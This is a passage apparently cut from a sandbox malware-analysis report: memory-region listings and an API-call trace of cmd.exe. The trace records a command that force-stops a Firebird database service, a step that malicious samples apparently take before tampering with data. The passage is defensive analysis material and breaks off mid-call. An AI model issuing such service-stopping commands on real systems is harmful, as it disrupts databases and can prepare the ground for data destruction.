"pagefile_0x000000007efe0000" filename = "" Region: id = 1137 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1138 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1139 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1140 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1141 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1142 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1143 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1144 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1145 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1146 start_va = 0x850000 end_va = 0x1c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1147 start_va = 0x1c50000 end_va = 0x1f92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c50000" filename = "" Region: id = 1148 start_va = 0x1fa0000 end_va = 0x226efff entry_point = 0x1fa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 21 os_tid = 0xaf4 [0039.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ffab4 | out: lpSystemTimeAsFileTime=0x3ffab4*(dwLowDateTime=0xd872b040, dwHighDateTime=0x1d4abdd)) [0039.009] GetCurrentProcessId () returned 0xaf0 [0039.009] GetCurrentThreadId () returned 0xaf4 [0039.009] GetTickCount () returned 0x19ecd [0039.009] QueryPerformanceCounter (in: lpPerformanceCount=0x3ffaac | out: lpPerformanceCount=0x3ffaac*=1811423900000) returned 1 [0039.010] GetModuleHandleA (lpModuleName=0x0) returned 0x49d60000 [0039.010] __set_app_type (_Type=0x1) [0039.010] __p__fmode () returned 0x75ed31f4 [0039.010] __p__commode () returned 0x75ed31fc [0039.011] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d821a6) returned 0x0 [0039.011] __getmainargs (in: _Argc=0x49d84238, _Argv=0x49d84240, _Env=0x49d8423c, _DoWildCard=0, _StartInfo=0x49d84140 | out: _Argc=0x49d84238, _Argv=0x49d84240, _Env=0x49d8423c) returned 0 [0039.011] GetCurrentThreadId () returned 0xaf4 [0039.011] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xaf4) returned 0x60 [0039.011] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.011] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0039.011] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.012] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.012] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ffa44 | out: phkResult=0x3ffa44*=0x0) returned 0x2 [0039.012] VirtualQuery (in: lpAddress=0x3ffa7b, lpBuffer=0x3ffa14, dwLength=0x1c | out: lpBuffer=0x3ffa14*(BaseAddress=0x3ff000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.012] VirtualQuery (in: lpAddress=0x300000, lpBuffer=0x3ffa14, dwLength=0x1c | out: lpBuffer=0x3ffa14*(BaseAddress=0x300000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0039.012] VirtualQuery (in: lpAddress=0x301000, lpBuffer=0x3ffa14, dwLength=0x1c | out: lpBuffer=0x3ffa14*(BaseAddress=0x301000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0039.012] VirtualQuery (in: lpAddress=0x303000, lpBuffer=0x3ffa14, dwLength=0x1c | out: lpBuffer=0x3ffa14*(BaseAddress=0x303000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.012] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x3ffa14, dwLength=0x1c | out: lpBuffer=0x3ffa14*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0039.012] GetConsoleOutputCP () returned 0x1b5 [0039.012] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d84260 | out: lpCPInfo=0x49d84260) returned 1 [0039.013] SetConsoleCtrlHandler (HandlerRoutine=0x49d7e72a, Add=1) returned 1 [0039.013] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.013] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0039.013] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.013] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d841ac | out: lpMode=0x49d841ac) returned 1 [0039.013] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.013] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.013] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.013] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d841b0 | out: lpMode=0x49d841b0) returned 1 [0039.014] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.014] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0039.014] GetEnvironmentStringsW () returned 0x442b58* [0039.014] FreeEnvironmentStringsW (penv=0x442b58) returned 1 [0039.014] GetEnvironmentStringsW () returned 0x442b58* [0039.014] FreeEnvironmentStringsW (penv=0x442b58) returned 1 [0039.014] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe9b4 | out: phkResult=0x3fe9b4*=0x6c) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x32, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x1, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x1, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x0, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x40, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x40, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x40, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegCloseKey (hKey=0x6c) returned 0x0 [0039.015] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe9b4 | out: phkResult=0x3fe9b4*=0x6c) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x40, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x1, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x1, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x0, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x9, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x4, lpData=0x3fe9c0*=0x9, lpcbData=0x3fe9b8*=0x4) returned 0x0 [0039.015] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe9bc, lpData=0x3fe9c0, lpcbData=0x3fe9b8*=0x1000 | out: lpType=0x3fe9bc*=0x0, lpData=0x3fe9c0*=0x9, lpcbData=0x3fe9b8*=0x1000) returned 0x2 [0039.015] RegCloseKey (hKey=0x6c) returned 0x0 [0039.015] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f50 [0039.016] srand (_Seed=0x5c3c3f50) [0039.016] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdGuardianDefaultInstance /Y" [0039.016] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdGuardianDefaultInstance /Y" [0039.016] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.016] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x444be8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0039.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.016] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.016] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.016] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.016] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.016] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.016] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.016] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.016] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.016] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.016] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.016] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.017] GetEnvironmentStringsW () returned 0x442b58* [0039.017] FreeEnvironmentStringsW (penv=0x442b58) returned 1 [0039.017] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.017] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.017] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.017] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.017] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.017] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.017] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.017] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.017] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.017] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.017] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3ff780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3ff780, lpFilePart=0x3ff77c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff77c*="Desktop") returned 0x25 [0039.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.018] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ff4fc | out: lpFindFileData=0x3ff4fc) returned 0x441df0 [0039.018] FindClose (in: hFindFile=0x441df0 | out: hFindFile=0x441df0) returned 1 [0039.018] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ff4fc | out: lpFindFileData=0x3ff4fc) returned 0x441df0 [0039.018] FindClose (in: hFindFile=0x441df0 | out: hFindFile=0x441df0) returned 1 [0039.018] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.018] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ff4fc | out: lpFindFileData=0x3ff4fc) returned 0x441df0 [0039.018] FindClose (in: hFindFile=0x441df0 | out: hFindFile=0x441df0) returned 1 [0039.018] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.018] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.019] GetEnvironmentStringsW () returned 0x442b58* [0039.019] FreeEnvironmentStringsW (penv=0x442b58) returned 1 [0039.019] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.019] GetConsoleOutputCP () returned 0x1b5 [0039.020] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d84260 | out: lpCPInfo=0x49d84260) returned 1 [0039.020] GetUserDefaultLCID () returned 0x409 [0039.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49d84950, cchData=8 | out: lpLCData=":") returned 2 [0039.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ff8c0, cchData=128 | out: lpLCData="0") returned 2 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ff8c0, cchData=128 | out: lpLCData="0") returned 2 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ff8c0, cchData=128 | out: lpLCData="1") returned 2 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49d84940, cchData=8 | out: lpLCData="/") returned 2 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49d84d80, cchData=32 | out: lpLCData="Mon") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49d84d40, cchData=32 | out: lpLCData="Tue") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49d84d00, cchData=32 | out: lpLCData="Wed") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49d84cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49d84c80, cchData=32 | out: lpLCData="Fri") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49d84c40, cchData=32 | out: lpLCData="Sat") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49d84c00, cchData=32 | out: lpLCData="Sun") returned 4 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d84930, cchData=8 | out: lpLCData=".") returned 2 [0039.021] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49d84920, cchData=8 | out: lpLCData=",") returned 2 [0039.021] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.022] GetConsoleTitleW (in: lpConsoleTitle=0x445938, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.022] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.022] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0039.023] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0039.023] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0039.023] _wcsicmp (_String1="NET", _String2=")") returned 69 [0039.023] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0039.023] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0039.023] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0039.023] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0039.023] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0039.023] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0039.025] GetConsoleTitleW (in: lpConsoleTitle=0x3ff5b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.025] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0039.025] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0039.025] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0039.025] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0039.025] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0039.025] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0039.025] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0039.025] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0039.026] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0039.026] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0039.026] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0039.026] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0039.026] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0039.026] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0039.026] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0039.026] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0039.026] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0039.026] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0039.026] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0039.026] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0039.026] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0039.026] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0039.026] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0039.026] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0039.026] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0039.026] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0039.026] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0039.026] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0039.026] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0039.026] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0039.026] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0039.026] _wcsicmp (_String1="NET", _String2="START") returned -5 [0039.026] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0039.026] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0039.026] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0039.026] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0039.026] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0039.026] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0039.026] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0039.026] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0039.026] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0039.026] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0039.026] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0039.027] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0039.027] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0039.027] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0039.027] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0039.027] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0039.027] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0039.027] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0039.027] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0039.027] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0039.027] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0039.027] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0039.027] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0039.027] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0039.027] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0039.027] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0039.027] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0039.027] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0039.027] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0039.027] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0039.027] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0039.027] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0039.027] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0039.027] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0039.027] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0039.027] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0039.027] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0039.027] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0039.027] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0039.027] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0039.027] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0039.027] _wcsicmp (_String1="NET", _String2="START") returned -5 [0039.027] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0039.027] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0039.027] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0039.027] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0039.027] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0039.027] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0039.027] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0039.028] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0039.028] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0039.028] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0039.028] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0039.028] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0039.028] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0039.028] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0039.028] SetErrorMode (uMode=0x0) returned 0x0 [0039.028] SetErrorMode (uMode=0x1) returned 0x0 [0039.028] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x445ea8, lpFilePart=0x3ff0d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff0d8*="Desktop") returned 0x25 [0039.028] SetErrorMode (uMode=0x0) returned 0x1 [0039.028] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.029] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.035] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.037] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.037] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x3fee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fee54) returned 0xffffffff [0039.037] GetLastError () returned 0x2 [0039.037] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x3fee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fee54) returned 0xffffffff [0039.037] GetLastError () returned 0x2 [0039.037] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.037] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x3fee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fee54) returned 0x441ce8 [0039.037] FindClose (in: hFindFile=0x441ce8 | out: hFindFile=0x441ce8) returned 1 [0039.038] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x3fee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | 